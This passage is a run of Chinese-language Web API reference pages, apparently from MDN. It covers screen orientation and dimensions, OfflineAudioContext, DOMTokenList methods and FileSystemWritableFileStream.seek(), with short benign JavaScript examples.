if (screen.lockOrientationUniversal("landscape-primary")) {
  // 方向已锁定成功
} else {
  // 方向锁定失败
}
```

### 使用 `Array` 参数

```js
screen.lockOrientationUniversal =
  screen.lockOrientation ||
  screen.mozLockOrientation ||
  screen.msLockOrientation;

if (
  screen.lockOrientationUniversal(["landscape-primary", "landscape-secondary"])
) {
  // 方向已锁定成功
} else {
  // 方向锁定失败
}
```

规范
--

不属于任何规范，也不再有望成为标准。

请使用 `ScreenOrientation.lock()` (en-US) 代替。

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* `Screen.orientation`
* `Screen.unlockOrientation()` (en-US)
* `Screen.onorientationchange` (en-US)
* 控制屏幕方向 (en-US)


Screen.orientation - Web API 接口参考

Screen.orientation
==================

**实验性:** **这是一项实验性技术**
在将其用于生产之前，请仔细检查浏览器兼容性表格。

**`orientation`** 是 `Screen` 接口的一个只读属性，返回屏幕当前的方向。

语法
--
```

var orientation = window.screen.orientation;
```

### 返回值

一个 `ScreenOrientation` (en-US) 的实例，表示屏幕的方向。

注意在更早的、有前缀的版本中会返回一个 `DOMString` 值，相当于 `ScreenOrientation.type` (en-US) 的值。

示例
--

```js
var orientation =
  (screen.orientation || {}).type ||
  screen.mozOrientation ||
  screen.msOrientation;

if (orientation === "landscape-primary") {
  console.log("That looks good.");
} else if (orientation === "landscape-secondary") {
  console.log("Mmmh... the screen is upside down!");
} else if (
  orientation === "portrait-secondary" ||
  orientation === "portrait-primary"
) {
  console.log("Mmmh... you should rotate your device to landscape");
} else if (orientation === undefined) {
  console.log("The orientation API isn't supported in this browser :(");
}
```

规范
--

| Specification |
| --- |
| Screen Orientation # dom-screen-orientation |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* `ScreenOrientation` (en-US)
* `Screen.onorientationchange` (en-US)
* Managing screen orientation (en-US)


Screen.width - Web API 接口参考

Screen.width
============

概述
--

返回屏幕的宽度。

语法
--
```

lWidth = window.screen.width
```

示例
--

```js
// crude way to check that the screen is at 1024x768
if (window.screen.width > 1000) {
  // resolution is below 10 x 7
}
```

备注
--

注意，该属性返回的宽度值不一定就是浏览器窗口可使用的宽度。当有其他小工具占据了屏幕空间时，浏览器有时不能占用小工具（如任务栏）占据的空间。`window.screen.width` 和 `window.screen.availWidth` 两者不同。相关属性 `window.screen.height`。

在返回该值时，IE 会考虑缩放设置。只有在缩放比例为 100% 时，IE 才返回真实的屏幕宽度。

规范
--

| Specification |
| --- |
| CSSOM View Module # dom-screen-width |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


Screen.availWidth - Web API 接口参考

Screen.availWidth
=================

概述
--

返回浏览器窗口可占用的水平宽度（单位：像素）。

语法
--
```

window.screen.availWidth
```

示例
--

```js
var screenAvailWidth = window.screen.availWidth;

console.log(screenAvailWidth);
```

规范
--

| Specification |
| --- |
| CSSOM View Module # dom-screen-availwidth |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


Screen.pixelDepth - Web API 接口参考

Screen.pixelDepth
=================

返回屏幕的位深度/色彩深度（bit depth）。根据 CSSOM( CSS 对象模型 ) 视图，为兼容起见，该值总为 24。

示例
--

```js
// 如果没有足够的位深度/色彩深度（bit depth），就选择一个更纯的颜色
if (window.screen.pixelDepth > 8) {
  document.style.color = "#FAEBD7";
} else {
  document.style.color = "#FFFFFF";
}
```

规范
--

| Specification |
| --- |
| CSSOM View Module # dom-screen-pixeldepth |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* `Screen.colorDepth`


VisualViewport.offsetTop - Web API 接口参考

VisualViewport.offsetTop
========================

**实验性:** **这是一项实验性技术**
在将其用于生产之前，请仔细检查浏览器兼容性表格。

`VisualViewport` 接口的只读属性 **`offsetTop`** 返回视觉视口的顶部相对于布局视口的顶部的偏移量，以 CSS 像素为单位。

语法
--
```

var offsetTop = VisualViewport.offsetTop
```

### 值

一个双精度值。

规范
--

| Specification |
| --- |
| CSSOM View Module # dom-visualviewport-offsettop |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


OfflineAudioContext: complete event - Web API 接口参考

OfflineAudioContext: complete event
===================================

`complete`当离线音频上下文的呈现完成时，将触发`OfflineAudioContext`接口的事件。

|  |  |
| --- | --- |
| 泡泡 | 没有 |
| 取消 | 没有 |
| 默认操作 | 没有 |
| 接口 | `OfflineAudioCompletionEvent` (en-US) |
| 事件处理程序属性 | `OfflineAudioContext.oncomplete` (en-US) |

例子
--

处理完成后，你可能希望使用`oncomplete`处理程序提示用户现在可以播放音频，并启用播放按钮：

```js
offlineAudioCtx.addEventListener("complete", () => {
  console.log("Offline audio processing now complete");
  showModalDialog("Song processed and ready to play");
  playBtn.disabled = false;
});
```

You can also set up the event handler using the `OfflineAudioContext.oncomplete` (en-US) property:

```js
offlineAudioCtx.oncomplete = function () {
  console.log("Offline audio processing now complete");
  showModalDialog("Song processed and ready to play");
  playBtn.disabled = false;
};
```

Specifications
--------------

| Specification |
| --- |
| Web Audio API # OfflineAudioCompletionEvent |
| Web Audio API # dom-offlineaudiocontext-oncomplete |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `离线音频上下文.oncomplete`
* Web Audio API (en-US)


OfflineAudioContext.OfflineAudioContext() - Web API 接口参考

OfflineAudioContext.OfflineAudioContext()
=========================================

**`OfflineAudioContext()`** 构造函数创建一个新的 `OfflineAudioContext` 对象实例。

语法
--

```js
new OfflineAudioContext(options)

new OfflineAudioContext(numberOfChannels, length, sampleRate)
```

### 参数

`numberOfChannels`

An integer 代表该缓冲区拥有的声道的数目。该实现需要支持至少 32 个声道。

`length`

代表采样帧缓冲区的大小的整数。

`sampleRate`

采样帧每一秒的线性音频数据的采样率。该实现必须支持在 22050 到 96000 之间的采样率，44100 是最经常用到的采样率。

这里有个重要的警告，你可以通过不带参数的使用 `new AudioContext()` 构造函数创建一个新的 `AudioContext`，但是 `OfflineAudioContext()` 构造函数必须带上三个参数。当你通过 `AudioContext.createBuffer` 方法创建一个新的`AudioBuffer` 时，你也是需要做一样的事情。想要知道更多信息，请阅读我们的基本概念指南的 音频片段：帧，样本和声道。

**备注：** 像普通的 `AudioContext`，`OfflineAudioContext` 可以成为事件的目标，因此它的实现是 `EventTarget` 接口。

例子
--

```js
// 定义一个在线或者离线的音频上下文

var audioCtx = new AudioContext();
var offlineCtx = new OfflineAudioContext(2, 44100 \* 40, 44100);

source = offlineCtx.createBufferSource();

// 更多代码...
```

**备注：** 想要获取完整的例子，请看我们在 Github 仓库的 offline-audio-context-promise （也可以看 源代码 ）

规范
--

| Specification |
| --- |
| Web Audio API # dom-offlineaudiocontext-offlineaudiocontext |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


OfflineAudoContext.length - Web API 接口参考

OfflineAudoContext.length
=========================

**实验性:** **这是一项实验性技术**
在将其用于生产之前，请仔细检查浏览器兼容性表格。

`OfflineAudioContext` 接口的 **`length`** 属性返回一个代表采样帧的缓冲区大小的整数。

语法
--
```

var length = OfflineAudioContext.length;
```

### 值

一个代表采样帧的缓冲区大小的整数。

规范
--

| Specification |
| --- |
| Web Audio API # dom-offlineaudiocontext-length |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


suspend - Web API 接口参考

suspend
=======

The **`suspend()`** method of the `OfflineAudioContext` interface schedules a suspension of the time progression in the audio context at the specified time and returns a promise. This is generally useful at the time of manipulating the audio graph synchronously on OfflineAudioContext.

Note that the maximum precision of suspension is the size of the render quantum and the specified suspension time will be rounded down to the nearest render quantum boundary. For this reason, it is not allowed to schedule multiple suspends at the same quantized frame. Also scheduling should be done while the context is not running to ensure the precise suspension.

语法
--
```

OfflineAudioContext.suspend(suspendTime).then(function() { ... });
```

### 参数

暂停时间

A `double` 指定暂停的时间。

### 返回值

A `Promise` resolving to void.

### 异常

发生任何异常，promise 就会拒绝。

`InvalidStateError` `DOMException`

如果帧数出现下列情况，则抛出该异常：

* 一个负值
* 小于或等于当前时间
* 大于或等于渲染的总渲染时间
* is scheduled by another suspend for the same time

Specifications
--------------

| Specification |
| --- |
| Web Audio API # dom-offlineaudiocontext-suspend |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


DOMTokenList.keys() - Web API 接口参考

DOMTokenList.keys()
===================

`DOMTokenList` **的** **`keys()`** 方法返回一个`iterator`, 可以用来遍历这个对象中的所有的键，键的类型是`无符号整型`。

语法
--
```

tokenList.keys();
```

### 参数

无。

### 返回值

返回一个 `iterator`.

示例
--

在下面的例子中，我们获取了一个使用 `Element.classList`属性获取了一个 `DOMTokenList` ，在这里它表示了这个 `<span>` 元素的所有 class 属性值的键（索引）。然后我们使用了它的 `keys()`方法获取了一个 iterator，最后再使用 for ... of 循环来对所有键（这里是索引）进行遍历，将遍历的每一个结果都写到这个 `<span>` 标签内（使用`Node.textContent`属性）显示。

首先，例子使用的 HTML 代码为：

```html
<span class="a b c"></span>
```

这是 JavaScript 代码：

```js
var span = document.querySelector("span");
var classes = span.classList;
var iterator = classes.keys();

for (var value of iterator) {
  span.textContent += value + " ++ ";
}
```

输出为：

规范
--

#### No specification found

No specification data found for `api.DOMTokenList.keys`.
Check for problems with this page or contribute a missing `spec_url` to mdn/browser-compat-data. Also make sure the specification is included in w3c/browser-specs.

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


DOMTokenList.add() - Web API 接口参考

DOMTokenList.add()
==================

`DOMTokenList` 接口的 **`add()`** 方法将给定的标记添加到列表中。

语法
--
```

tokenList.add(token1[, token2[, ...tokenN]]);
```

### 参数

token*N*

一个 `DOMString`，表示你要添加到列表里的标记。

### 返回值

`undefined`

示例
--

在下面的例子中，我们使用 `Element.classList` 将 `<span>` 元素上设置的类列表检索为 `DOMTokenList`。然后，我们将新标记添加到列表中，并将列表写入 `<span>` 元素的`Node.textContent`。

HTML:

```html
<span class="a b c"></span>
```

JavaScript:

```js
var span = document.querySelector("span");
var classes = span.classList;
classes.add("d");
span.textContent = classes;
```

结果如下：

你也可以添加多个标记：

```js
span.classList.add("d", "e", "f");
```

规范
--

| Specification |
| --- |
| DOM Standard # ref-for-dom-domtokenlist-add① |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


DOMTokenList.toggle() - Web API 接口参考

DOMTokenList.toggle()
=====================

`DOMTokenList` 接口的 **`toggle()`** 方法从列表中删除一个给定的标记并返回 `false`。如果标记不存在，则添加并且函数返回 `true`。

语法
--

```js
toggle(token);
toggle(token, force);
```

### 参数

`token`

一个字符串，表示你想要 toggle 的标记。

`force` 可选

如果包含该值，设置后会将方法变成单向操作。如果设置为 `false`，*仅*会删除标记列表中匹配的给定标记，且不会再度添加。如果设置为 `true`，*仅*在标记列表中添加给定标记，且不会再度删除。

### 返回值

一个布尔值，`true` 或者 `false`，表示在调用 toggle 后，标记是否存在于列表中。

示例
--

### 在点击后 toggle class

以下示例我们使用 `Element.classList` 检索 `<span>` 元素的 class 集合列表（其返回值为 `DOMTokenList`）。然后我们替换集合中的一个标记，并将集合写入 `<span>` 的 `Node.textContent`

这是 HTML：

```html
<span class="a b">classList is 'a b'</span>
```

现在是 JavaScript：

```js
const span = document.querySelector("span");
const classes = span.classList;

span.addEventListener("click", () => {
  const result = classes.toggle("c");

  if (result) {
    span.textContent = `'c' added; classList is now "${classes}".`;
  } else {
    span.textContent = `'c' removed; classList is now "${classes}".`;
  }
});
```

输出如下所示，并且每次点击文本时都会发生变化：

### 设置 force 参数

第二个参数可以用于决定是否包含 class 属性。这个例子仅在浏览器窗口宽度超过 1000 像素时才会包含‘c’属性。

```js
span.classList.toggle("c", window.innerWidth > 1000);
```

规范
--

| Specification |
| --- |
| DOM Standard # ref-for-dom-domtokenlist-toggle① |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


DOMTokenList.length - Web API 接口参考

DOMTokenList.length
===================

\*\*`length`\*\*是 **`DOMTokenList`** 接口的一个只读属性，以整数来表示，代表着当前对象中值的个数。

语法
--
```

tokenList.length;
```

### 数值

一个整数。

示例
--

在示范例子里我们编写了一个 span 元素，使用`Element.classList`去检索元素`<span>`拥有的类，放回一个实时的`DOMTokenList`集合，然后把该集合中的数值个数写进 `<span>`的 `Node.textContent` 属性中。

HTML 代码：

```html
<span class="a b c"></span>
```

JavaScript 代码：

```js
var span = document.querySelector("span");
var classes = span.classList;
var length = classes.length;

span.textContent = "classList length = " + length;
```

运行得出的结果如下：

规范
--

| Specification |
| --- |
| DOM Standard # ref-for-dom-domtokenlist-length① |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


DOMTokenList.contains() - Web API 接口参考

DOMTokenList.contains()
=======================

`DOMTokenList`接口的 **`contains()`** 方法返回 `Boolean` (en-US) 类型。若传入的参数 `token` 包含在列表中时则返回`true`，否则返回 `false`。

语法
--
```

tokenList.contains(token);
```

### 参数

`token`

`DOMString`类型，用于判断是否存在于列表中的标记。

### 返回值

`Boolean` (en-US)类型，当`token`包含在列表中时返回`true`，否则返回`false`。

示例
--

在下面的列子中，我们通过`Element.classList`方法从 `<span>` 元素中获取`DOMTokenList` 对象。然后测试验证`"c"` 是否包含在列表中，结果输出到 `<span>`标签的内容 `Node.textContent`。

HTML:

```html
<span class="a b c"></span>
```

JavaScript:

```js
let span = document.querySelector("span");
let classes = span.classList;
let result = classes.contains("c");
if (result) {
  span.textContent = "The classList contains 'c'";
} else {
  span.textContent = "The classList does not contain 'c'";
}
```

结果如下：

规范
--

| Specification |
| --- |
| DOM Standard # ref-for-dom-domtokenlist-contains① |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


DOMTokenList.remove() - Web API 接口参考

DOMTokenList.remove()
=====================

**`remove()`** 方法从 `DOMTokenList` 中移除指定标记。

语法
--
```

tokenList.remove(token1[, token2[, ...]]);
```

### 参数列表

token*N*...

表示要从列表中移除的一个 `DOMString`。如果列表中不存在该字符串，不会出错也没有任何变化。

### 返回值

`undefined`

示例
--

在下面的示例中，我们使用 `Element.classList` 检索 `<span>` 元素上设置的 class 列表作为 DOMTokenList。然后从列表中删除一个标记，并将该列表写入`<span>`的 `Node.textContent` 中。

### HTML

```html
<span class="a b c"></span>
```

### JavaScript

```js
var span = document.querySelector("span");
var classes = span.classList;
classes.remove("c");
span.textContent = classes;
```

输出如下：

要一次删除多个 class，可以提供多个标记。书写顺序不必与它们在列表中出现的顺序匹配：

```js
let span = document.getElementsByTagName("span")[0],
  classes = span.classList;

classes.remove("c", "b");
span.textContent = classes;
```

描述
--

| Specification |
| --- |
| DOM Standard # ref-for-dom-domtokenlist-remove① |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


DOMTokenList.item() - Web API 接口参考

DOMTokenList.item()
===================

`DOMTokenList`接口的 **`item()`** 方法返回一个在列表中的索引的项。

语法
--
```

tokenList.item(index)
```

### 参数

`index`

`DOMString` 类型，一个表示要返回的项的索引。

### 返回值

`DOMString`类型，一个表示要返回的项。如果数字大于或等于列表的`length`，则返回`null`。

示例
--

在下面的列子中，我们通过`Element.classList`方法从`<span>`元素中获取`DOMTokenList`对象。然后使用`item(tokenList.length - 1)`检索列表中的最后的一个项，并将其写入<span>元素的 `Node.textContent`。

首先，HTML：

```html
<span class="a b c"></span>
```

然后，JavaScript：

```js
let span = document.querySelector("span");
let classes = span.classList;
let item = classes.item(classes.length - 1);
span.textContent = item;
```

输出结果如下：

规范
--

| Specification |
| --- |
| DOM Standard # ref-for-dom-domtokenlist-item① |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


DOMTokenList.replace() - Web API 接口参考

DOMTokenList.replace()
======================

`DOMTokenList`接口的 **`replace()`** 方法可以将列表中一个已存在的 token 替换为一个新 token。如果第一个参数 token 在列表中不存在， `replace()` 立刻返回`false` ，而不会将新 token 字符串添加到列表中。

语法
--
```

tokenList.replace(oldToken, newToken);
```

### 参数

`oldToken`

`DOMString`类型，想要替换掉的字符串。

`newToken`

`DOMString`类型，表示要将`oldToken`字符串替换成的字符串。

### 返回值

boolean 类型，如果`oldToken`被成功替换，返回 `true` ，否则返回`false`

**备注：** In older browsers, `replace()` returns void.

Examples
--------

在下面的例子中，我们使用`Element.classList`方法，将设置在`<span>` 元素上的 class 列表检索为`DOMTokenList` 类型。接着我们替换一个字符串，并且将新列表写入到 `<span>` 的内容`Node.textContent`中。

首先，HTML 代码如下：

```html
<span class="a b c"></span>
```

然后是 JavaScript:

```js
let span = document.querySelector("span");
let classes = span.classList;

let result = classes.replace("c", "z");
console.log(result);

if (result) {
  span.textContent = classes;
} else {
  span.textContent = "token not replaced successfully";
}
```

输出如下：

规范
--

| Specification |
| --- |
| DOM Standard # ref-for-dom-domtokenlist-replace① |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


DOMTokenList.supports() - Web API 接口参考

DOMTokenList.supports()
=======================

如果给定的 `token` 位于关联属性支持的 token 列表中，则 `DOMTokenList` 接口的 **`supports()`** 方法返回 `true`。这个方法旨在支持特性检查。

语法
--

```js
supports(token);
```

### 参数

`token`

一个字符串，包含了用于查询的 token。

### 返回值

一个布尔值，表示是否查询到 token。

示例
--

```js
const iframe = document.getElementById("display");

if (iframe.sandbox.supports("an-upcoming-feature")) {
  // support code for mystery future feature
} else {
  // fallback code
}

if (iframe.sandbox.supports("allow-scripts")) {
  // instruct frame to run JavaScript
  //
  // (NOTE: This feature is well-supported; this is just an example!)
  //
}
```

规范
--

| Specification |
| --- |
| DOM Standard # ref-for-dom-domtokenlist-supports① |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


FileSystemWritableFileStream：seek() 方法 - Web API 接口参考

FileSystemWritableFileStream：seek() 方法
======================================

**安全上下文:** 此项功能仅在一些支持的浏览器的安全上下文（HTTPS）中可用。

`FileSystemWritableFileStream` 接口的 **`seek()`** 方法用于更新文件当前指针的偏移到指定的位置（以字节为单位）。

语法
--

```js
seek(position)
```

### 参数

`position`

一个数字，表示从文件开头起的字节位置。

### 返回值

一个 `Promise`，会兑现 `undefined`。

### 异常

`NotAllowedError` `DOMException`

如果 `PermissionStatus.state` (en-US) 不为 `granted`，抛出此异常。

`TypeError`

如果 `position` 参数不是一个数字或者未定义，抛出此错误。

示例
--

下面的异步函数会打开“保存文件”选择器，选择器在有文件被选择后会返回一个 `FileSystemFileHandle`。由此，使用 `FileSystemFileHandle.createWritable()` 方法创建一个写入流。

然后我们按以下流程写入内容到流中：

1. 向流中写入一个字符串。
2. 使用 `seek()` 方法将指针放置到流的开头。
3. 向流中写入第二个字符串，覆写第一次写入的。

随后将流关闭。

```js
async function saveFile() {
  try {
    // 创建一个新句柄。
    const newHandle = await window.showSaveFilePicker();

    // 创建一个 FileSystemWritableFileStream 用于写入。
    const writableStream = await newHandle.createWritable();

    // 写入我们的文件。
    await writableStream.write("My first file content");
    await writableStream.seek(0);
    await writableStream.write("My second file content");

    // 关闭文件并将内容写入磁盘。
    await writableStream.close();
  } catch (err) {
    console.error(err.name, err.message);
  }
}
```

如果你运行了上面的函数，然后打开磁盘上被创建的文件，你应该会看到文本“My second file content”。

规范
--

| Specification |
| --- |
| File System Standard # api-filesystemwritablefilestream-seek |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* 文件系统 API
* 文件系统访问 API：简化本地文件访问